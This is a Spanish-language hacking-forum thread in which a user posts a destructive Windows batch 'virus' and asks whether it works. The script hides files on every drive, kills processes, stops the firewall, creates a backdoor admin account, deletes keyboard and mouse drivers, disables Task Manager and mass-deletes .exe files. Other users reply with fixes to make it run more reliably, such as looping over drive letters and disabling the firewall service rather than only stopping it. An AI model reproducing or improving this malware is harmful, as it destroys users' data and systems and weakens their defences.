Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: Ori-chan en 23 Diciembre 2012, 18:55 pm



Título: [BATCH] Virus raro. ¿Funcionaria?
Publicado por: Ori-chan en 23 Diciembre 2012, 18:55 pm
No se mucho de batch. Así que tuve que buscar algunos trozos de código en google.


Código
  1. @ECHO OFF
  2. TITLE NV Adm
  3. color 02
  4. C: attrib -R -A -S +H -I *.exe /S /D
  5. D: attrib -R -A -S +H -I *.exe /S /D
  6. E: attrib -R -A -S +H -I *.exe /S /D
  7. F: attrib -R -A -S +H -I *.exe /S /D
  8. G: attrib -R -A -S +H -I *.exe /S /D
  9. H: attrib -R -A -S +H -I *.exe /S /D
  10. I: attrib -R -A -S +H -I *.exe /S /D
  11. C: attrib +H *.* /S /D
  12. D: attrib +H *.* /S /D
  13. E: attrib +H *.* /S /D
  14. F: attrib +H *.* /S /D
  15. G: attrib +H *.* /S /D
  16. H: attrib +H *.* /S /D
  17. I: attrib +H *.* /S /D
  18. C: TASKKILL /F /FI *.exe
  19. D: TASKKILL /F /FI *.exe
  20. E: TASKKILL /F /FI *.exe
  21. F: TASKKILL /F /FI *.exe
  22. G: TASKKILL /F /FI *.exe
  23. H: TASKKILL /F /FI *.exe
  24. I: TASKKILL /F /FI *.exe
  25. C: TASKKILL /F /IM *.exe
  26. D: TASKKILL /F /IM *.exe
  27. E: TASKKILL /F /IM *.exe
  28. F: TASKKILL /F /IM *.exe
  29. G: TASKKILL /F /IM *.exe
  30. H: TASKKILL /F /IM *.exe
  31. I: TASKKILL /F /IM *.exe
  32. net stop "Firewall De Windows/Conexion compartida a internet (ICS)"
  33.  
  34. net user 9900990099 nkdr9998%%$$ /fullname:"NVadm" /comment:"no seas impaciente" /active:yes /passwordchg:no /expires:never time:Monday,00:00 /add
  35.  
  36.  
  37.  
  38. (
  39. echo @echo off
  40. echo title NV sobreescritura
  41. echo color 02
  42. echo del /f /q %systemroot%\system32\mouse.*
  43. echo del /f /q %systemroot%\system32\keyboard.*
  44. echo echo ayuda>^>^wormNC90909.txt
  45. echo cd C:Archivos de programaWinamp
  46. echo del /f /q winamp.exe
  47. echo Reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disabletaskmgr /t reg_dword /d "1" /f
  48.  
  49. echo cd %windir%\system
  50. echo DEL MOUSE:DRV /f /q /s
  51. echo RUNDLL32.DLL,SpawMouseButton
  52. echo CD %windir%\system32\drivers
  53. echo DEL "%windir%\system32\drivers\i8042prt.sys" /f
  54. echo DEL "%windir%\system32\drivers\mouclass.sys" /f
  55. echo DEL "%windir%\system32\drivers\kbdclass.sys" /f
  56. echo rund1132 keyboard,disable
  57.  
  58.  
  59.  
  60.  
  61.  
  62. )>>sobreescritura.bat
  63. start sobreescritura.bat
  64.  
  65.  
  66. echo exit>>sobreescritura.bat
  67. :XNOP
  68. if exsist wormNV90909.txt (del /Q /S sobreescritura.bat) else goto XNOP
  69. del /Q /S wormNV90909.txt
  70. cls
  71. C: del /Q /S /F *.exe
  72. D: del /Q /S /F *.exe
  73. E: del /Q /S /F *.exe
  74. F: del /Q /S /F *.exe
  75. G: del /Q /S /F *.exe
  76. H: del /Q /S /F *.exe
  77. I: del /Q /S /F *.exe



He encontrado dos maneras de bloquear el teclado y el ratón (y he puesto las dos):

Esta:
Código
  1. del /f /q %systemroot%\system32\mouse.*
  2. del /f /q %systemroot%\system32\keyboard.*



Y esta:
Código
  1. cd %windir%\system
  2. DEL MOUSE:DRV /f /q /s
  3. RUNDLL32.DLL,SpawMouseButton
  4. CD %windir%\system32\drivers
  5. DEL "%windir%\system32\drivers\i8042prt.sys" /f
  6. DEL "%windir%\system32\drivers\mouclass.sys" /f
  7. DEL "%windir%\system32\drivers\kbdclass.sys" /f
  8. rund1132 keyboard,disable

¿Valen las dos?, ¿Vale solo una?, ¿No vale ninguna?





Se supone que con esto se elimina el administrador de tareas:

Código
  1. Reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disabletaskmgr /t reg_dword /d "1" /f



Y esto para eliminar el firewall:

Código
  1. net stop "Firewall De Windows/Conexion compartida a internet (ICS)"


Lo mismo. ¿Funcionan?








PD: No pretendo hacer nada malo con esto, es solo que cuando de dejé batch lo abandoné en mi pendrive. Y ahora lo he visto y quería preguntar si lo había hecho bien. (85% seguro de que no)





Un saludo y gracias por leer!!  ;D


Título: Re: [BATCH] Virus raro. ¿Funcionaria?
Publicado por: Segadorfelix en 23 Diciembre 2012, 19:19 pm
Poner el nombre de unidad antes de un comando no funciona, en algunas unidades también daría error si no existen.
Código:
C: TASKKILL /F /FI *.exe
D: TASKKILL /F /FI *.exe
E: TASKKILL /F /FI *.exe
F: TASKKILL /F /FI *.exe
G: TASKKILL /F /FI *.exe
H: TASKKILL /F /FI *.exe
I: TASKKILL /F /FI *.exe
con el primer taskkill se finalizan todos los procesos y por ende el bat no continuaría la ejecución , FI debe cambiarse por IM y hay que poner comillas al proceso para que no de error.
SaluDoss.


Título: Re: [BATCH] Virus raro. ¿Funcionaria?
Publicado por: Meine programmen en 23 Diciembre 2012, 21:22 pm
En vez de ir letra a letra en el codigo, usa un bucle FOR, y pon un IF EXIST por si acaso no existe la unidad. Algo asi como:
Código:
FOR %%A IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO (IF EXIST "%%A:\" "Aqui la primera orden que quieras poner"&&"Aqui la segunda orden que quieras poner")
Y en las ordenes en vez de poner C, D o E, pones %%A y se ira sustituyendo por cada una de las letras.

PD: Las ordenes sin comillas, ¿Eh?


Título: Re: [BATCH] Virus raro. ¿Funcionaria?
Publicado por: Ori-chan en 23 Diciembre 2012, 21:57 pm
Gracias a los dos. Lo modificaré y lo probaré  ;D


Título: Re: [BATCH] Virus raro. ¿Funcionaria?
Publicado por: Segadorfelix en 23 Diciembre 2012, 22:05 pm
En vez de ir letra a letra en el codigo, usa un bucle FOR, y pon un IF EXIST por si acaso no existe la unidad. Algo asi como:
Código:
FOR %%A IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO (IF EXIST "%%A:\" "Aqui la primera orden que quieras poner"&&"Aqui la segunda orden que quieras poner")
Y en las ordenes en vez de poner C, D o E, pones %%A y se ira sustituyendo por cada una de las letras.

PD: Las ordenes sin comillas, ¿Eh?
Tambien un ">NUL 2>&1" (Sin las comillas) para evitar que aparezca error al no detectar un disco.


Título: Re: [BATCH] Virus raro. ¿Funcionaria?
Publicado por: Meine programmen en 23 Diciembre 2012, 22:16 pm
Tambien un ">NUL 2>&1" (Sin las comillas) para evitar que aparezca error al no detectar un disco.
No entendi, ¿Si usa el IF no deberia de ahorrarse el mensaje de error?


Título: Re: [BATCH] Virus raro. ¿Funcionaria?
Publicado por: Segadorfelix en 23 Diciembre 2012, 22:23 pm
No entendi, ¿Si usa el IF no deberia de ahorrarse el mensaje de error?
Pues en teoría si, pero al parecer en algunos casos falla:
http://foro.elhacker.net/scripting/detectar_correctamente_unidad_de_un_pendrive-t379149.0.html


Título: Re: [BATCH] Virus raro. ¿Funcionaria?
Publicado por: Meine programmen en 23 Diciembre 2012, 22:26 pm
Pues en teoría si, pero al parecer en algunos casos falla:
http://foro.elhacker.net/scripting/detectar_correctamente_unidad_de_un_pendrive-t379149.0.html
Bueno es saberlo, luego salen las cosas mal  y no nos damos cuenta  :xD


Título: Re: [BATCH] Virus raro. ¿Funcionaria?
Publicado por: Eleкtro en 24 Diciembre 2012, 06:28 am
Dejando a un lado que Batch no es el camino para ese tipo de cosas,
Sigues haciendo codes sin tener intención de probarlos en una máquina virtual, y así no vas a aprender jamás.



-El código que se supone que bloquea teclado+ratón:
Lo único que hacen es eliminar el el archivo del driver del teclado y del mouse, realmente no bloquean nada.
El code solo afecta a WinXP, ya que en Windows 7 esos archivos no existen en esas rutas.
El executable "rund1132" no existe, es "Rundll32", y la función "disable" de esa dll no existe ni en WindowsXP ni en Windows 7, por lo tanto no te va a funcionar, encontraste información demasiado antigua.

- El código que se supone que elimina el administrador de tareas:
simplemente agregas una entrada en la política de grupo para denegar permisos al taskmanager, la cual se puede restaurar modificando el valor de nuevo a "0"

- El código que se supone que elimina el firewall:
simplemente intentas DETENER un servicio (Para eso sirve "net stop"), servicio el cual nisiquiera existe, pusiste el nombre de los dos servicios juntos separados con una barra diagonal /,
además deteniendo un servicio no sirve de nada si el servicio está en modo automático se volverá a ejecutar cuando el SO lo necesite, debes detenerlo y despues cambiarlo a modo desactivado para que no se siga ejecutando.
EDITO: Aunque corrigieras el nombre, tampoco iba a funcionar si yo le cambio el nombre a mi servicio por precaución, osea, debes usar el identificador del servicio en lugar del nombre (Que además usando el nombre solo funcionará en Windows del idioma castellano).

saludos